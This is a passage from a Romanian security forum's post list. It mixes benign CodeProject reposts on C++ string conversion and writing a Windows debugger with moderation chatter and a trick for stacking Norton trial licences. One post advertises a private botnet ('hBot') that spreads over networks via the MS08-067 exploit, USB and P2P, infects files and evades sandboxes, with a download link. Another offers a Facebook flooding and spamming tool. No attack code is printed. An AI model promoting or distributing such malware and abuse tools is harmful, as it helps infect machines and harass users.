Memory Problems, by Mark Russinovitch and David Solomon Windows Internals 4th Edition written by Mark Russinovitch and David Solomon Windows Systems Programming 2nd Edition written by Johnson M. Hart Sursa: Windows Memory Management - CodeProject
  16. Converting ANSI to Unicode and back Doc Lobster String conversion using the C++ Standard Library only Having just looked at ASCII strings to Unicode in C++[^], here's my preferred solution to this part of the never-ending story of string conversion: #include <locale> #include <string> std::wstring widen(const std::string& str) { std::wstring wstr(str.size(), 0); #if _MSC_VER >= 1400 // use Microsofts Safe libraries if possible (>=VS2005) std::use_facet<std::ctype<wchar_t> >(std::locale())._Widen_s (&str[0], &str[0]+str.size(), &wstr[0], wstr.size()); #else std::use_facet<std::ctype<wchar_t> >(std::locale()).widen (&str[0], &str[0]+str.size(), &wstr[0]); #endif return wstr; } std::string narrow(const std::wstring& wstr, char rep = '_') { std::string str(wstr.size(), 0); #if _MSC_VER >= 1400 std::use_facet<std::ctype<wchar_t> >(std::locale())._Narrow_s (&wstr[0], &wstr[0]+wstr.size(), rep, &str[0], str.size()); #else std::use_facet<std::ctype<wchar_t> >(std::locale()).narrow (&wstr[0], &wstr[0]+wstr.size(), rep, &str[0]); #endif return str; } Yes, it does look nasty - but it is the way to go in pure C++. Funny enough, I never found any good and comprehensive documentation on C++ locales, most books tend to leave the topic unharmed. By using the standard constructor of std::locale in the functions, the "C" locale defines the codepage for the conversion. The current codepage can be applied by calling std::locale::global(std::locale("")); before any call to narrow(...) or widen(...). One possible problem with this code is the use of multi-byte character sets. The predefined size of the function output strings expects a 1:1 relationship in size() between the string formats. Sursa: Converting ANSI to Unicode and back - CodeProject
  17. Introduction Building your very own debugger is a great way to understand the workings of a commercially available debugger. In this article, the reader will be exposed to certain aspects of the OS and CPU opcode (x86-32-bit only). This article will show the working of breakpoints and working of OutputDebugString (since we will be handling these two events only) used commonly while debugging. Readers are urged to investigate conditional breakpoint and step wise execution (line by line) that are commonly supported by most debuggers. Run to cursor is similar to breakpoint. Background Before we start, the reader will require basic knowledge of OS. Discussion related to OS is beyond the scope of this article. Please feel free to refer to other articles (or write to me) while reading this. The reader would be required to be exposed to commercially available debuggers (for this article: VS2010) and have debugged applications before using break points. Break Points Breakpoint allows users to place a break in the flow of a program being debugged. The user may do this to evaluate certain conditions at that point in execution. The debugger adds an instruction: int 3 (opcode : 0xcc) at the particular address (where break point is desired) in the process space of the executable being debugged. After this instruction is encountered: The EIP is moved to the interrupt service routine (in this case int 3). The service routine will save the CPU registers (all Interrupt service routines must do this), signal the attached debugger, the program that called DebugActiveProcess(process ID of the exe being debugged) look up MSDN for this API. The debugger will run a debug loop (mentioned in code as EnterDebugLoop() in file Debugger.cpp). The signal from the service routine will trigger WaitForDebugEvent(&de, INFINITE), the debug loop (mentioned in the code as EnterDebugLoop) will loop through every debug signal encountered by WaitForDebugEvent. After processing the debug routine, the debugger will restore the instruction by replacing 0xcc (int 3) with the original instruction and return from the service routine by calling ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE). (Before placing the break point, the debugger must use ReadProcessMemory to get the original BYTE at that memory location). When it returns from an interrupt service routine (using IRET), EIP will point to the next byte to be executed, but we want it to point to the previous byte (the one we restored), this is done while handling the break point. Although a break point service routine is being processed (its EIP is pointing somewhere in a service routine), GetThreadContext will return the value of registers before EIP moves to int 3 service routine. Subtract EIP by 1, use SetThreadContext to set the EIP. OutputDebugString This API is used to display a string on the debug console, the user may use this to display certain state related information or trace. When this API is occurs, OUTPUT_DEBUG_STRING_EVENT event is triggered. An attached debugger will handle this event in the debug loop (mentioned in the code as EnterDebugLoop). The event handling API will provide information of the string relative to the Debuggee's process space. Use ReadProcessMemory to acquire the string (memory dump) from another process. Using the Code The attached code must be referred to at all times while reading this article. The break point (opcode: 0xcc) is introduced by: BYTE p[]={0xcc}; //0xcc=int 3 ::WriteProcessMemory(pi.hProcess,(void*)address_to_set_breakpoint, p, sizeof(p), &d); The second parameter which requires the address where the break point instruction is placed is looked up in a .PDB file (debug symbol file). Through the .PDB file, VS2010 can accurately place the break point at a memory location corresponding to the line of code responsible for generating instructions at that memory location. The above method is commented out, the reason being that I cannot accurately place the break point since I am not using any debug symbols, instead I use ::DebugBreak(); to cause a break point in the process being debugged, refer to the code. Readers are encouraged to try using WriteProcessMemory API instead, I cannot use it for this article as the value of the address :2nd parameter in WriteProcessMemory is not known unless you compile the code (and hope that the OS will allocate the same value for EIP). Break Point Created by VS2010 To readers who have to debug (any) application using VS2010 - if the break point is placed in code (its executable is created with debug setting) using VS2010 IDE (by pressing F9), the memory debug view will not show 0xcc. Reader will have to dump the memory at the point where the break point is created, of course the address location will have to be looked up through the disassembly (since you are currently debugging the application, you could press ALT-8). In the attached code, I have used the value of EIP, we get the value of EIP from the following code (code comments make this self explanatory): UINT EIP=0; //declare some variable _asm { call f //this will push the current eip value on to stack jmp finish f: pop eax //get the last value from the stack, in our case value of eip mov EIP,eax //store the value of eip in some memory push eax //restore the stack ret //return finish: } // print the memory dump BYTE *b=(BYTE*)EIP; for(int i=0; i<200; i++) printf("%x : %x \n",EIP+i,b[i]); The main loop (used by the debugger) refers to void EnterDebugLoop() in file Debugger.cpp. WaitForDebugEvent API is used to handle debug events for any process attached to the callers process using DebugActiveProcess (debuggee's process ID). WaitForDebugEvent(&de, INFINITE); //will wait till a debug event is triggered switch (de.dwDebugEventCode) { case EXCEPTION_DEBUG_EVENT: switch(de.u.Exception.ExceptionRecord.ExceptionCode) { case EXCEPTION_BREAKPOINT: MessageBoxA(0,"Found break point","",0); break; } break; case OUTPUT_DEBUG_STRING_EVENT: { char a[100]; ReadProcessMemory(pi.hProcess,de.u.DebugString.lpDebugStringData, a,de.u.DebugString.nDebugStringLength,NULL); //mentioned earlier to read memory //from another process. printf("output from debug string is: %s",a); } break; } ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE); // After the debug event // is handled, Debugger must call ContinueDebugEvent will enable the debugger to continue (that thread) that reported the debug event. Points of Interest Now we know that it's easy to write your very own debugger / profiling tools. After the basics of writing a simple debugger, readers are encouraged to write more complex debuggers. Sursa: Write Your Own Debugger to Handle Breakpoints - CodeProject
  18. Norton Internet Security 2011 – 360 de zile licenta GRATUITA By Radu FaraVirusi(com) on June 9, 2011 Symantec a lansat generatia 2011 pentru produsele sale de securitate Norton: Norton Antivirus 2011 siNorton Internet Security 2011. Pentru cel din urma puteti avea licenta GRATUITA pentru 360 de zile. Iata ce aduc nou aceste produse (lista va fi completata pe masura ce apar informatiile pe site-ul oficial): Interfata grafica noua Performance Monitoring Performance Monitoring este o componenta noua. Ofera alerte cu informatii bazate pe performantele aplicatiilor. Daca o aplicatie consuma prea multe resurse: CPU, RAM, scrie multe date pe hard-disk, sau acceseaza prea multe programe Norton va alerta asupra acestor lucruri. Download Intelligence 2.0 Download Intelligence a fost introdus pentru Internet Explorer si Mozilla Firefox in produsele Norton 2010. In acest an s-a adaugat suport pentru multe alte aplicatii (sau portaluri) folosite pentru descarcari (downloading) Reputation Scan Reputation Scan este o caracteristica noua pentru Holmes. Aceasta extinde facilitatile oferite de File Insight si Norton Insight din produsele NIS/NAV 2010. Reputation Scan permite utilizatorului sa adune informatii asupra reputatiei unui fisier din orice director specificat de acesta. Norton Bootable Recovery Tool Wizard Aceasta optiune noua va crea un utilitar bootabil actualizat cu care veti putea scana computer-ul din afara sistemului de operare Windows. Acest utilitar poate fi folosit pentru a crea un disc bootabil pe un CD, DVD sau chiar USB. Pentru a descarca si testa Norton Internet Security 2011 GRATUIT timp de 360 de zile folositi urmatoarele promotii: 1. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta I) 2. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta II) 3. Norton Internet Security 2011 – 60 de zile GRATUIT (oferta III) 4. Norton Internet Security 2011 – 90 de zile GRATUIT (oferta I) 5. Norton Internet Security 2011 – 90 de zile GRATUIT (oferta II) Pentru a obtine 360 de zile (aproape 1 an) licenta GRATUITA, descarcati cele cinci kituri de mai sus si instalati-le pe rand. Dupa expirarea unuia, folositi Norton Removal Tool pentru a dezinstala produsul: Download Norton Removal Tool 2011.0.5.13 Free - A program that can remove some Norton software from your computer - Softpedia Apoi instalati al doilea kit, samd. Puteti folosi si fiecare oferta separat si apoi sa instalati alt antivirus, daca vi se pare complicata metoda descrisa. Sursa: Norton Internet Security 2011 – 360 de zile licenta GRATUITA
  19. Salveaza in acelasi folder in care se afla cred. Oricum, nu afiseaza un MsgBox cu locatia dupa ce il salveaza? Nu mai stiu...
  20. A, mai dau si eu banuri fara avertismente. Exista utilizatori care posteaza numai la caterinca, care fac o gramada de posturi stupide, inutile, offtopic, care deci sunt in plus. Specific cate ceva la motiv. De asemenea, nu stau sa dau mii de avertismente, daca vad ca un utilizator deschide 100 de topicuri vechi de exemplu, sua face 15 posturi de offtopic la topicuri tehnice interesante, ii dau ban fara sa mai dau avertismente. E cam acelasi lucru, ori ii dau 3-4 avertismente, ori ban direct, efectul e acelasi.
  21. Pentru ce ai primit ban? In primul rand spune ce cont aveai sa vedem ce ai postat? Eu dau avertismente, rar dau ban permanent. Si da, si eu dau avertisment daca faci o cerere la Programe Hack sau ceva asemanator, pentru ca nu imi face placere sa mut zeci de topicuri. De obicei, dupa ce un admin/moderator da ban direct pentru un post, specifica intr-un post ulterior ce l-a determinat sa faca acea actiune.
  22. Mie mi-a placut grafica "1337" Ok, dau Close atunci.
  23. Anti-Rootkit Tool - Tuluka Kernel Inspector Tuluka is a new powerful AntiRootkit, which has the following features: *Detects hidden processes, drivers and devices *Detects IRP hooks *Identifies the substitution of certain fields in DRIVER_OBJECT structure *Checks driver signatures *Detects and restores SSDT hooks *Detects suspicious descriptors in GDT *IDT hook detection *SYSENTER hook detection *Displays list of system threads and allows you to suspend them *IAT and Inline hook detection *Shows the actual values of the debug registers, even if reading these registers is controlled by someone *Allows you to find the system module by the address within this module *Allows you to display contents of kernel memory and save it to disk *Allows you to dump kernel drivers and main modules of all processes *Allows you to terminate any process *Is able to dissasemble interrupt and IRP handlers, system services, start routines of system threads and many more *Allows to build the stack for selected device Much more.. Download: Tuluka kernel inspector - Download
  24. [C++] hBot [uSB|P2P|LAN|INFECT] hBot private // Made by t0fx // Website: malwares-in.net // anti's (threatexpert,anubis...) // rot13 encryption // Shared folders' spread // LAN spread using ms08-067 // undetected USB spread // P2P spread // Rar and exe's infection // Supersyn // working with xp / vista / seven Download: http://www.multiupload.com/3CP8Y00SRQ Sursa: [C++] hBot [uSB|P2P|LAN|INFECT] - r00tsecurity
  25. Facebook Black Box Flooder, Spammer, Liker, Auto-Adder Nu l-am descarcat, nu l-am incercat, nu stiu daca e infectat, executati pe riscul vostru. Finally it's done! Here it is, newest tool for Facebook! Facebook Black Box Features are: > Wall Flooder - Floods the wall of your slave > Inbox Flooder - Floods the inbox of your slave > Status Flooder - Floods with your status message > Comment Spammer - Spam comments of a random link > Mass Likes - Likes all the posts of your slave > Random Friend Adder - > Poke - Pokes your slave (once) > User ID Checker Notes: > Please update your .NET Framework to the latest version! > Don't PM me questions regarding this program. Post your questions here. > Before you log in your account, make sure it isn't logged in to another browser. > If you can't log in, clear the cache of your IE. > I made this on Windows Vista Ultimate 32-bit. So there is still some compatibility issues on other OS. Screenshots: Virus Scan: File Info Report date: 2010-05-04 18:38:01 (GMT 1) File name: Facebook_Black_Box.exe File size: 543744 bytes MD5 Hash: 56d523ca48800a48f5a64ef3cc5b0e25 SHA1 Hash: 6b960d1baf2877cb8f8af72cc5011e0fdff3fe04 Detection rate: 0 on 20 (0%) Status: CLEAN Detections a-squared - - Avast - - AVG - - Avira AntiVir - - BitDefender - - ClamAV - - Comodo - - Dr.Web - - F-PROT6 - - G-Data - - Ikarus T3 - - Kaspersky - - McAfee - - NOD32 - - Panda - - Solo - - TrendMicro - - VBA32 - - VirusBuster - - Zoner - - Scan report generated by NoVirusThanks.org Download Link: MediaFire Sursa: Facebook Black Box - r00tsecurity
×
×
  • Create New...